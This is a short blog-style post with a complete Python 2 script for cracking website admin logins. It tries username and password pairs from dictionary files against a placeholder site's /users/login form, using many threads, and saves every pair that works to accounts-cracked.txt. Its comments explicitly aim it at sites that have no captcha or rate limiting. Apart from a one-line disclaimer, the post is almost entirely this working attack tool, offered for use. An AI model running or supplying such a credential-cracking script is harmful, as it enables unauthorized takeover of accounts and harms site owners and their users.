Today I’m going to make a Python applet that can be cracked in the background. Haha, just go to the code, it’s all commented~~

# -*- coding: utf-8 -*-
# 利用python 写的多线程爆破后台用户名+密码(自备字典),比较实用,即使是在信息安全这么重视的今天,还是有人不加验证码或者异常访问限制之类的登陆验证方式,这样就很# 容易被弱口令爆破工具拿下,(本代码仅限学习实用,禁止进行web攻击,不承担法律责任)
import urllib2
import urllib
import httplib
import threading
  
headers = {"Content-Type":"application/x-www-form-urlencoded",     
           "Connection":"Keep-Alive",
           "Referer":"http://www.xxxxx.com/"};# referer:是代理的访问来源地址
# lock = threading.Lock()
def tryUser(user,password):
    #print user,password
    global headers
    global outFile 
    conn = httplib.HTTPConnection("www.xxxxx.com") # 远程域名
    if len(user) < 3:     # 限制用户名长度,排除字典中的无用数据
        return  # 主动退出线程
    else:
        #lock.acquire()   # 多线程操作文件,提前加锁,用后释放
        #line = inFile.readline()
          
        #userData = line.strip().split(&#39; # &#39;) # strip() 默认去除空白字符包括&#39; &#39;,&#39;\t&#39;,&#39;\n&#39;等
        #lock.release()
  
        user = user.strip()
        passwd = password.strip()
        params = urllib.urlencode({&#39;username&#39;: user, &#39;password&#39;: passwd})
        conn.request(method="POST", url="/users/login", body=params, headers=headers) # 后台路径
        responseText = conn.getresponse().read().decode(&#39;utf8&#39;) # 网页编码
        #print responseText  # 第一次可以打印看看是否解析
        if not responseText.find(u&#39;用户名或者密码不正确,请重新输入!&#39;) > 0 :
            print &#39;----- find user:&#39;, user, &#39;with password:&#39;, passwd, &#39;-----&#39;
            outFile.write(user + &#39;    &#39; +  passwd + &#39;\n&#39;)
              
    return
  
outFile = open(&#39;accounts-cracked.txt&#39;, &#39;w&#39;)
  
if __name__ == &#39;__main__&#39;:
    tsk=[] # 创建线程池
    with open(r&#39;user.dic&#39;, &#39;r&#39;) as fUser:  # 使用with as 来打开文件,不需自己关闭文件,因为他会自己在合适的时候自已关闭(类似C# 中的using(...){}接口)
        with open(r&#39;pass.dic&#39;, &#39;r&#39;) as fPass:
            for user in fUser.readlines():
                for password in fPass.readlines():
                    t= threading.Thread(target = tryUser,args=(user,password))
                    t.daemon = False # 设置不进行进程守护
                    tsk.append(t) # t.start()
                fPass.seek(0)
                # 记住这里要将文件重新移到文件首,不然就会出现只执行外层循环的第一条,因为内层在
                # 迭代之后(readlines()是迭代器的形式,迭代一次后文件指针就指到文件尾了,迭代器
                # 也是end了)第二次就没有password 在 fPass中,也就是说 for  password in fPass.readlines():
                # 为空,所以这里的内层循环就不会被执行了,因此也就是迭代器清零的问题(C ++ itertor 常有)
                   
                      
# join()无参数就是完全阻塞主线程,等待线程执行完 有参数就是说,
# 在主线程等待一秒后就不阻塞线程了,继续执行主线程,这里的意思是一秒钟开一个线程
# 不能再thread start之前调用join(), 因为join() 是线程运行时调度
    for t in tsk:
        t.start()
        t.join(1) 
  
  
  
    print "All thread OK,maybe not "
    outFile.close()
